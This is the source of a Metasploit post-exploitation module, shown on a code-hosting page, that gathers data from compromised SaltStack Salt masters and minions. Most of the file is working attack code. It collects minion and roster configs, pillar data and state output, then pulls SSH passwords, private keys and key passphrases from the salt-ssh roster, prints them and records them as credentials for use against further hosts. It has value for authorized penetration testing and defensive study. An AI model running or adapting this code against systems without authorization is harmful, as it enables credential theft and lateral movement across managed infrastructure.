Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/gather/saltstack_salt.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'yaml'67class MetasploitModule < Msf::Post8include Msf::Post::File9include Msf::Exploit::Local::Saltstack1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'SaltStack Salt Information Gatherer',16'Description' => %q{17This module gathers information from SaltStack Salt masters and minions.18Data gathered from minions: 1. salt minion config file19Data gathered from masters: 1. minion list (denied, pre, rejected, accepted)202. minion hostname/ip/os (depending on module settings)213. SLS224. roster, any SSH keys are retrieved and saved to creds, SSH passwords printed235. minion config files246. pillar data25},26'Author' => [27'h00die',28'c2Vlcgo'29],30'SessionTypes' => %w[shell meterpreter],31'License' => MSF_LICENSE,32'Notes' => {33'Stability' => [CRASH_SAFE],34'SideEffects' => [IOC_IN_LOGS],35'Reliability' => []36}37)38)39register_options(40[41OptString.new('MINIONS', [true, 'Minions Target', '*']),42OptBool.new('GETHOSTNAME', [false, 'Gather Hostname from minions', true]),43OptBool.new('GETIP', [false, 'Gather IP from minions', true]),44OptBool.new('GETOS', [false, 'Gather OS from minions', true]),45OptInt.new('TIMEOUT', [true, 'Timeout for salt commands to run', 120])46]47)48end4950def gather_pillars51print_status('Gathering pillar data')52begin53out = cmd_exec('salt', "'#{datastore['MINIONS']}' --output=yaml pillar.items", datastore['TIMEOUT'])54vprint_status(out)55results = YAML.safe_load(out, [Symbol]) # during testing we discovered at times Symbol needs to be loaded56store_path = store_loot('saltstack_pillar_data_gather', 'application/x-yaml', session, results.to_yaml, 'pillar_gather.yaml', 'SaltStack Salt Pillar Gather')57print_good("#{peer} - pillar data gathering successfully retrieved and saved to #{store_path}")58rescue Psych::SyntaxError59print_error('Unable to process pillar command output')60return61end62end6364def gather_minion_data65print_status('Gathering data from minions (this can take some time)')66command = []67if datastore['GETHOSTNAME']68command << 'network.get_hostname'69end70if datastore['GETIP']71# command << 'network.ip_addrs'72command << 'network.interfaces'73end74if datastore['GETOS']75command << 'status.version' # seems to work on linux76command << 'system.get_system_info' # seems to work on windows, part of salt.modules.win_system77end78commas = ',' * (command.length - 1) # we need to provide empty arguments for each command79command = "salt '#{datastore['MINIONS']}' --output=yaml #{command.join(',')} #{commas}"80begin81out = cmd_exec(command, nil, datastore['TIMEOUT'])82if out == '' || out.nil?83print_error('No results returned. Try increasing the TIMEOUT or decreasing the minions being checked')84return85end86vprint_status(out)87results = YAML.safe_load(out, [Symbol]) # during testing we discovered at times Symbol needs to be loaded88store_path = store_loot('saltstack_minion_data_gather', 'application/x-yaml', session, results.to_yaml, 'minion_data_gather.yaml', 'SaltStack Salt Minion Data Gather')89print_good("#{peer} - minion data gathering successfully retrieved and saved to #{store_path}")90rescue Psych::SyntaxError91print_error('Unable to process gather command output')92return93end94return if results == false || results.nil?95return if results.include?('Salt request timed out.') || results.include?('Minion did not return.')9697results.each_value do |result|98# at times the first line may be "Minions returned with non-zero exit code", so we want to skip that99next if result.is_a? String100101host_info = {102name: result['network.get_hostname'],103os_flavor: result['status.version'],104comments: "SaltStack Salt minion to #{session.session_host}"105}106# mac os107if result.key?('system.get_system_info') &&108result['system.get_system_info'].include?('Traceback') &&109result.key?('status.version') &&110result['status.version'].include?('unsupported on the current operating system')111host_info[:os_name] = 'osx' # taken from lib/msf/core/post/osx/system112host_info[:os_flavor] = ''113# windows will throw a traceback error for status.version114elsif result.key?('status.version') &&115result['status.version'].include?('Traceback')116info = result['system.get_system_info']117host_info[:os_name] = info['os_name']118host_info[:os_flavor] = info['os_version']119host_info[:purpose] = info['os_type']120end121122unless datastore['GETIP'] # if we dont get IP, can't make hosts123print_good("Found minion: #{host_info[:name]} - #{host_info[:os_flavor]}")124next125end126127result['network.interfaces'].each do |name, interface|128next if name == 'lo'129next if interface['hwaddr'] == ':::::' # Windows Software Loopback Interface130next unless interface.key? 'inet' # skip if it doesn't have an inet, macos had lots of this131next if interface['inet'][0]['address'] == '127.0.0.1' # ignore localhost132133host_info[:mac] = interface['hwaddr']134host_info[:host] = interface['inet'][0]['address'] # ignoring inet6135report_host(host_info)136print_good("Found minion: #{host_info[:name]} (#{host_info[:host]}) - #{host_info[:os_flavor]}")137end138end139end140141def list_minions_printer142minions = list_minions143return if minions.nil?144145tbl = Rex::Text::Table.new(146'Header' => 'Minions List',147'Indent' => 1,148'Columns' => ['Status', 'Minion Name']149)150151minions.each do |minion|152tbl << ['Accepted', minion]153end154minions['minions_pre'].each do |minion|155tbl << ['Unaccepted', minion]156end157minions['minions_rejected'].each do |minion|158tbl << ['Rejected', minion]159end160minions['minions_denied'].each do |minion|161tbl << ['Denied', minion]162end163print_good(tbl.to_s)164end165166def minion167print_status('Looking for salt minion config files')168# https://github.com/saltstack/salt/blob/b427688048fdbee106f910c22ebeb105eb30aa10/doc/ref/configuration/minion.rst#configuring-the-salt-minion169[170'/etc/salt/minion', # linux, osx171'C://salt//conf//minion',172'/usr/local/etc/salt/minion' # freebsd173].each do |config|174next unless file?(config)175176minion = YAML.safe_load(read_file(config))177if minion['master']178print_good("Minion master: #{minion['master']}")179end180store_path = store_loot('saltstack_minion', 'application/x-yaml', session, minion.to_yaml, 'minion.yaml', 'SaltStack Salt Minion File')181print_good("#{peer} - minion file successfully retrieved and saved to #{store_path}")182break # no need to process more183end184end185186def master187list_minions_printer188gather_minion_data if datastore['GETOS'] || datastore['GETHOSTNAME'] || datastore['GETIP']189190# get sls files191unless command_exists?('salt')192print_error('salt not found on system')193return194end195print_status('Showing SLS')196output = cmd_exec('salt', "'#{datastore['MINIONS']}' state.show_sls '*'", datastore['TIMEOUT'])197store_path = store_loot('saltstack_sls', 'text/plain', session, output, 'sls.txt', 'SaltStack Salt Master SLS Output')198print_good("#{peer} - SLS output successfully retrieved and saved to #{store_path}")199200# get roster201# https://github.com/saltstack/salt/blob/023528b3b1b108982989c4872c138d1796821752/doc/topics/ssh/roster.rst#salt-rosters202print_status('Loading roster')203priv_values = {}204['/etc/salt/roster'].each do |config|205next unless file?(config)206207begin208minions = YAML.safe_load(read_file(config))209rescue Psych::SyntaxError210print_error("Unable to load #{config}")211next212end213store_path = store_loot('saltstack_roster', 'application/x-yaml', session, minion.to_yaml, 'roster.yaml', 'SaltStack Salt Roster File')214print_good("#{peer} - roster file successfully retrieved and saved to #{store_path}")215next if minions.nil?216217minions.each do |name, minion|218host = minion['host'] # aka ip219user = minion['user']220port = minion['port'] || 22221passwd = minion['passwd']222# sudo = minion['sudo'] || false223priv = minion['priv'] || false224priv_pass = minion['priv_passwd'] || false225226print_good("Found SSH minion: #{name} (#{host})")227# make a special print for encrypted ssh keys228unless priv_pass == false229print_good(" SSH key #{priv} password #{priv_pass}")230report_note(host: host,231proto: 'TCP',232port: port,233type: 'SSH Key Password',234data: "#{priv} => #{priv_pass}")235end236237host_info = {238name: name,239comments: "SaltStack Salt ssh minion to #{session.session_host}",240host: host241}242report_host(host_info)243244cred = {245address: host,246port: port,247protocol: 'tcp',248workspace_id: myworkspace_id,249origin_type: :service,250private_type: :password,251service_name: 'SSH',252module_fullname: fullname,253username: user,254status: Metasploit::Model::Login::Status::UNTRIED255}256if passwd257cred[:private_data] = passwd258create_credential_and_login(cred)259next260end261262# handle ssh keys if it wasn't a password263cred[:private_type] = :ssh_key264if priv_values[priv]265cred[:private_data] = priv_values[priv]266create_credential_and_login(cred)267next268end269270unless file?(priv)271print_error(" Unable to find salt-ssh priv key #{priv}")272next273end274input = read_file(priv)275store_path = store_loot('ssh_key', 'plain/txt', session, input, 'salt-ssh.rsa', 'SaltStack Salt SSH Private Key')276print_good(" #{priv} stored to #{store_path}")277priv_values[priv] = input278cred[:private_data] = input279create_credential_and_login(cred)280end281end282gather_pillars283end284285def run286if session.platform == 'windows'287# the docs dont show that you can run as a master, nor was the master .bat included as of this writing288minion289end290minion if command_exists?('salt-minion')291master if command_exists?('salt-master')292end293294end295296297